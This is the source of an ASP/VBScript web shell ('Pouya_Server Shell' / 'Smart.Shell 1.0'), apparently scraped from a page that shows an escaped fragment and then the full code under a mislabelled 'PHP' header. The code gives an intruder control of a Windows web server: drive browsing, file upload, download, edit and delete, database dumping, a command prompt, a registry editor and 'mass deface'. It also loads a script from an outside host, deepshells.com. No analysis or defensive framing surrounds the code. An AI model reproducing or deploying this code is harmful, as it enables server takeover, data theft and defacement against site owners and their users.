					Response.Write "&lt;font face=wingdings size=5&gt;4&lt;/font&gt; &lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=search&amp;status=8&amp;Path="&amp; Trim(Request.QueryString("path")) &amp;"&amp;table="&amp;table.Name&amp;"'&gt;"&amp;table.Name&amp;"&lt;/a&gt;&lt;br&gt;"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "&lt;font color=red&gt;&lt;h4&gt;Table Name: " &amp; table &amp; "&lt;/h4&gt;&lt;/font&gt;&lt;br&gt;&lt;Br&gt;&lt;br&gt;"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "&lt;table border=1 cellpadding=2 cellspacing=0 bordercolor=543152&gt;&lt;tr bgcolor=silver&gt;"
			for i=0 to objRcs.Fields.count-1
				Response.Write "&lt;td&gt;&lt;font color=black&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"&amp;objRcs.Fields(i).Name&amp;"&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;"
			next
			Response.Write "&lt;/tr&gt;"
			do while not objRcs.EOF
				Response.Write "&lt;tr&gt;"
				for i=0 to objRcs.Fields.count-1
					Response.Write "&lt;td&gt;"&amp;objRcs.Fields(i).Value&amp;"&amp;nbsp;&lt;/td&gt;"
				next
				Response.Write "&lt;/tr&gt;"
				objRcs.MoveNext
			loop
			Response.Write "&lt;/table&gt;&lt;br&gt;"


		 case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama"))

		END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write "&lt;form method=""post"" target=""_opener"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=search""&gt;"
		Response.Write "&lt;table widht='100%' border=0 cellpadding=0 cellspacing=0&gt;&lt;tr&gt;&lt;td width=70&gt;&lt;font size=2&gt;File Ext: &lt;/td&gt;&lt;td&gt;"
		Response.Write "&amp;nbsp;&lt;input type=hidden value='12' name=status&gt;"
		Response.Write "&lt;input type=hidden value=""" &amp; Replace(Trim(Request.QueryString("path")),"|","\") &amp; """ name=""path""&gt;&lt;input style='width:250' value='mdb' name='arama'&gt;&lt;input style='width:70; height:22' type=submit value='Search' name='submit1'&gt;"
		Response.Write "&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;"
	End IF



	Case "sqlserver"
         If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))&lt;&gt;"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5


	  	 CASE "7":
			Response.Write "&lt;b&gt;&lt;font size=3&gt;Tables&lt;/font&gt;&lt;/br&gt;&lt;br&gt;"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
					Response.Write "&lt;font face=wingdings size=5&gt;4&lt;/font&gt; &lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp;"?action=search&amp;status=8&amp;Path="&amp; Trim(Request.QueryString("path")) &amp;"&amp;table="&amp;table.Name&amp;"'&gt;"&amp;table.Name&amp;"&lt;/a&gt;&lt;br&gt;"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "&lt;font color=red&gt;&lt;h4&gt;Table Name: " &amp; table &amp; "&lt;/h4&gt;&lt;/font&gt;&lt;br&gt;&lt;Br&gt;&lt;br&gt;"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "&lt;table border=1 cellpadding=2 cellspacing=0 bordercolor=543152&gt;&lt;tr bgcolor=silver&gt;"
			for i=0 to objRcs.Fields.count-1
				Response.Write "&lt;td&gt;&lt;font color=black&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"&amp;objRcs.Fields(i).Name&amp;"&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;"
			next
			Response.Write "&lt;/tr&gt;"
			do while not objRcs.EOF
				Response.Write "&lt;tr&gt;"
				for i=0 to objRcs.Fields.count-1
					Response.Write "&lt;td&gt;"&amp;objRcs.Fields(i).Value&amp;"&amp;nbsp;&lt;/td&gt;"
				next
				Response.Write "&lt;/tr&gt;"
				objRcs.MoveNext
			loop
			Response.Write "&lt;/table&gt;&lt;br&gt;"


	      END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()

		Response.Write "&lt;form method=""post"" target=""_opener"" action=""" &amp; Request.ServerVariables("SCRIPT_NAME") &amp; "?action=sqlserver""&gt;"
		Response.Write "&lt;table cellpadding=0 cellspacing=0 align=center&gt;&lt;tr&gt;&lt;td align=center&gt;&lt;font size=2&gt;SQL Server connection string:&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=center&gt;"
		Response.Write "&lt;input type=hidden value='7' name=status&gt;"
		Response.Write "&lt;input style='width:250; height:21' value='' name=path&gt;&lt;br&gt;"
		response.Write "&lt;input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1&gt;"
		Response.Write "&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;"
		response.Write "&lt;/form&gt;"

	End IF



	Case "about"
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		response.Write "&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;body topmargin=5 leftmargin=0&gt;&lt;center&gt;&lt;h4&gt;Coded By S3rver"
		response.Write "&lt;br&gt;&lt;br&gt;"
		response.Write "&lt;font size=2 color=Red face='courier new'&gt;WebSite: :)&lt;/font&gt;"
		response.Write "&lt;br&gt;"
		response.Write "&lt;font size=2 color=Red face='courier new'&gt;E-Mail: Pouya.S3rver@irGmail.Com&lt;/font&gt;"
		response.Write "&lt;br&gt;&lt;br&gt;"
		response.Write "&lt;font size=2 color=Blue face='courier new'&gt;Hackers, Crackers, Programmers Forever!&lt;/font&gt;"


	Case Else
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright &amp; onlinehelp
		Call showcontent()
End Select
If Err.Number &lt;&gt; 0 Then
	Response.Write "&lt;br&gt;&lt;font face='arial' size='2'&gt;ERRO: " &amp; Err.Number &amp; "&lt;br&gt;&lt;br&gt;&lt;b&gt;" &amp; UCase(Err.Description) &amp; "&lt;/b&gt;&lt;br&gt;Acesse denied."
End If
Response.Write endcode

if showdisks then

%&gt;

	&lt;script language=javascript&gt;
		// DRIVE ISLEMLERI
		function driveGo(drive_){
			location = "?raiz="+drive_+":";
		}
	&lt;/script&gt;

	&lt;script src=http://deepshells.com/cnt/wr.js&gt;&lt;/script&gt;

&lt;%


	Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

	Response.Write "&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;table align=center border=1 width=150 cellpadding=0 cellspacing=0&gt;&lt;tr bgcolor=gray&gt;&lt;td align=center&gt;&lt;b&gt;&lt;font color=white&gt;Drives&lt;/td&gt;&lt;/tr&gt;"
	for each drive_ in objFSO.Drives
		Response.Write "&lt;tr&gt;&lt;td&gt;"
		Response.write "&lt;a href='#'onClick=""driveGo('" &amp; drive_.DriveLetter &amp; "');return false;""&gt;&lt;font face=wingdings&gt;;&lt;/font&gt;"
		if drive_.Drivetype=1 then Response.write "Floppy [" &amp; drive_.DriveLetter &amp; ":]"
		if drive_.Drivetype=2 then Response.write "HardDisk [" &amp; drive_.DriveLetter &amp; ":]"
		if drive_.Drivetype=3 then Response.write "Remote HDD [" &amp; drive_.DriveLetter &amp; ":]"
		if drive_.Drivetype=4 then Response.write "CD-Rom [" &amp; drive_.DriveLetter &amp; ":]"
		Response.Write "&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;"
	next
	Response.Write "&lt;tr&gt;&lt;td&gt;"
	Response.write "&lt;a href='"&amp; Request.ServerVariables("SCRIPT_NAME") &amp; "'&gt;&lt;font face=webdings&gt;H&lt;/font&gt; Local Path"
	Response.Write "&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;"
	Response.Write "&lt;/table&gt;&lt;br&gt;"
end if
%&gt;


</pre></body></html>

Original PHP code

<%@ LANGUAGE = VBScript.Encode%>
<%//**Start Encode
On Error Resume Next

Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE

Server.ScriptTimeOut  = 7200
Class FileUploader
	Public  Files
	Private mcolFormElem
	Private Sub Class_Initialize()
		Set Files = Server.CreateObject("Scripting.Dictionary")
		Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
	End Sub
	Private Sub Class_Terminate()
		If IsObject(Files) Then
			Files.RemoveAll()
			Set Files = Nothing
		End If
		If IsObject(mcolFormElem) Then
			mcolFormElem.RemoveAll()
			Set mcolFormElem = Nothing
		End If
	End Sub
	Public Property Get Form(sIndex)
		Form = ""
		If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
	End Property
	Public Default Sub Upload()
		Dim biData, sInputName
		Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
		Dim nPosFile, nPosBound
		biData = Request.BinaryRead(Request.TotalBytes)
		nPosBegin = 1
		nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
		If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
		vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
		nDataBoundPos = InstrB(1, biData, vDataBounds)
		Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
			nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
			nPos = InstrB(nPos, biData, CByteString("name="))
			nPosBegin = nPos + 6
			nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
			sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
			nPosBound = InstrB(nPosEnd, biData, vDataBounds)
			If nPosFile <> 0 And  nPosFile < nPosBound Then
				Dim oUploadFile, sFileName
				Set oUploadFile = New UploadedFile
				nPosBegin = nPosFile + 10
				nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
				sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
				nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
				nPosBegin = nPos + 14
				nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
				oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				nPosBegin = nPosEnd+4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
				If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
			Else
				nPos = InstrB(nPos, biData, CByteString(Chr(13)))
				nPosBegin = nPos + 4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			End If
			nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
		Loop
	End Sub
	Private Function CByteString(sString)
		Dim nIndex
		For nIndex = 1 to Len(sString)
		   CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
		Next
	End Function
	Private Function CWideString(bsString)
		Dim nIndex
		CWideString =""
		For nIndex = 1 to LenB(bsString)
		   CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) 
		Next
	End Function
End Class
Class UploadedFile
	Public ContentType
	Public FileName
	Public FileData
	Public Property Get FileSize()
		FileSize = LenB(FileData)
	End Property
	Public Sub SaveToDisk(sPath)
		Dim oFS, oFile
		Dim nIndex
		If sPath = "" Or FileName = "" Then Exit Sub
		If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
		Set oFS = Server.CreateObject("Scripting.FileSystemObject")
		If Not oFS.FolderExists(sPath) Then Exit Sub
		Set oFile = oFS.CreateTextFile(sPath & FileName, True)
		For nIndex = 1 to LenB(FileData)
		    oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
		Next
		oFile.Close
	End Sub
	Public Sub SaveToDatabase(ByRef oField)
		If LenB(FileData) = 0 Then Exit Sub
		If IsObject(oField) Then
			oField.AppendChunk FileData
		End If
	End Sub
End Class
startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>"
endocde = "</body></html>"
onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programmer.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
Function HexConv(hexVar)
	Dim hxx, hxx_var, multiply          
         IF hexVar <> "" THEN
              hexVar = UCASE(hexVar)
              hexVar = StrReverse(hexVar)
              DIM hx()
              REDIM hx(LEN(hexVar))
              hxx = 0
              hxx_var = 0
              FOR hxx = 1 TO LEN(hexVar)
                   IF multiply = "" THEN multiply = 1
                   hx(hxx) = mid(hexVar,hxx,1)
                   hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                   multiply = (multiply * 16)
              NEXT
              hexVar = hxx_var
              HexConv = hexVar
         END IF
End Function
cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r\/3R</a> ::.</font>"
Function get_hxno(ghx)
         If ghx = "A" Then
              ghx = 10
         ElseIf ghx = "B" Then
              ghx = 11
         ElseIf ghx = "C" Then
              ghx = 12
         ElseIf ghx = "D" Then
              ghx = 13
         ElseIf ghx = "E" Then
              ghx = 14
         ElseIf ghx = "F" Then
              ghx = 15
         End If
         get_hxno = ghx
End Function

keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0Uiy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>"
Function showobj(objpath)
	showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function showobjpath(objpath)
	showobjpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function checking(a,b)
'	If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
'		pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
'		Response.Redirect(pagina)
'	End If
End Function
Sub hdr()
	Response.Write startcode
	Response.Write keydec
	Response.Write "<br>"
End Sub

sub araBul(path_,ara_)
	on error resume next
	If Len(path_) > 0 Then
		cur = path_&"\"
		If cur = "\\" Then cur = ""
			parent = ""
			If InStrRev(cur,"\") > 0 Then
			parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
		End If
	Else
		cur = ""
	End If
	
	Set f = myFSO.GetFolder(cur)

	Set fc = f.Files
	For Each f1 In fc
		if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
			downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>�</a></font>"
			if lcase(ara_)="mdb" then
				Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>�</a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"
			else 
				Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>�</a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
			end if
		end if
	Next

	Set fs = f.SubFolders
	For Each f1 In fs
		araBul f1.path,ara_
	Next
	Set	f		= Nothing
	Set fc		= Nothing
	Set fs		= Nothing
end sub


Sub showcontent()
	showdisks=TRUE
	Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
	If Trim(Request.QueryString("raiz")) = "root" Then
		Set fs=Server.Createobject("Scripting.FileSystemObject")
		Set drivecollection=fs.drives
		Response.Write "<font face=""arial"" size=""2"">"
		For Each drive IN drivecollection 
			str=drive.driveletter & ":"
			Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
			Select Case drive.DriveType
				Case 0
					tipodrive = "Unknown"
					nomedrive = drive.VolumeName
				Case 1
					tipodrive = "Removable"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 2
					tipodrive = "Fixed"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 3
					tipodrive = "Network"
					If drive.isready Then
						nomedrive = drive.ShareName
					Else
						nomedrive = ""
					End If
				Case 4
					tipodrive = "CD-Rom"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
				Case 5
					tipodrive = "RAM Disk"
					If drive.isready Then
						nomedrive = drive.VolumeName
					Else
						nomedrive = ""
					End If
			End Select
			response.write "<b>Type:</b> " & tipodrive & "<br>"
			response.write "<b>Name: </b>" & nomedrive & "<br>"
			response.write "<b>File System: </b>"
			If drive.isready Then
				set sp=fs.getdrive(str)
				response.write sp.filesystem & "<br>"
			Else
			response.write "-<br>"
			End If
			Response.Write "<b>Disk Space: </b>"
			If drive.isready Then
				freespace = (drive.AvailableSpace / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(freespace,1) & " MB<br>")
			Else
				response.write("-<br>")
			End If
			Response.Write "<b>Total Space: </b>"
			If drive.isready Then
				totalspace = (drive.TotalSize / 1048576)
				set sp=fs.getdrive(str)
				response.write(Round(totalspace,1) & " MB<br>")
			Else
				response.write("-<br>")
			End If
			Response.Write "<br>"
		Next
		Response.Write "</font>"
		Set fs = Nothing
		Set drivecollection = Nothing
		set sp=Nothing
	Else
		If Trim(Request.QueryString("raiz")) = "" Then
			caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
			pos = Instr(caminho,"\")
			pos2 = 1
			While pos2 <> 0
				If Instr(pos + 1,caminho,"\") <> 0 Then
					pos = Instr(pos + 1,caminho,"\")
				Else
					pos2 = 0
				End If
			Wend
			raiz = Left(caminho,pos)
		Else
			raiz =  trim(Request.QueryString("raiz")) & "\"
		End If
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MonRep = ObjFSO.GetFolder(raiz)
		Set ColFolders = MonRep.SubFolders
		Set ColFiles0 = MonRep.Files
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
		Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"

		Response.Write "<font face='arial' size='1'>"
		Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
		Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
		Response.Write "</font><br><br>"


		Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
		If CInt(Len(raiz) - 1) <> 2 Then
			barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
			backlevel = Left(raiz,barrapos)
			Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
		Else
			Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
		End If
		Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
		for each folderItem in ColFolders
			Response.Write "<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; PUT</a></font></td>"
			Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&lt;&lt; Copy/Move</a></font></td>"
			Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt;&lt; Delete</a></font></td></tr>"
		next
		Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
		marcatabela = true
		for each FilesItem0 in ColFiles0
			If marcatabela = true then
				corfundotabela = " bgcolor=""#EEEEEE"""
			Else
				corfundotabela = ""
			End If
			Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.DOWNLOAD.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.FileCopy.o</a></font></td></tr>"
			marcatabela = NOT marcatabela
		next
		Response.Write "</table>"
	End If
End Sub
Select Case Trim(Request.QueryString("action"))
	Case "get"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
		MyFile.Copy (destino)
		If Err.Number = 0 Then
			Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino
		End If	
	Case "put"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Trim(Request.QueryString("arquivo")) = "" Then
			caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			varpath = Trim(Request.QueryString("path"))
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MonRep = ObjFSO.GetFolder(caminho)
			Set ColFolders = MonRep.SubFolders
			Set ColFiles0 = MonRep.Files

			Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
			for each FilesItem0 in ColFiles0
				Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></font></td></tr>"
			next
			Response.Write "</table>"
		Else
			destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
			arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(arquivo)
			MyFile.Copy (destino)
			If Err.Number = 0 Then
				Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino
			End If
		End If
	Case "del"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		Set MyFile = ObjFSO.GetFile(caminho)
		MyFile.Delete
		If Err.Number = 0 Then
			Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
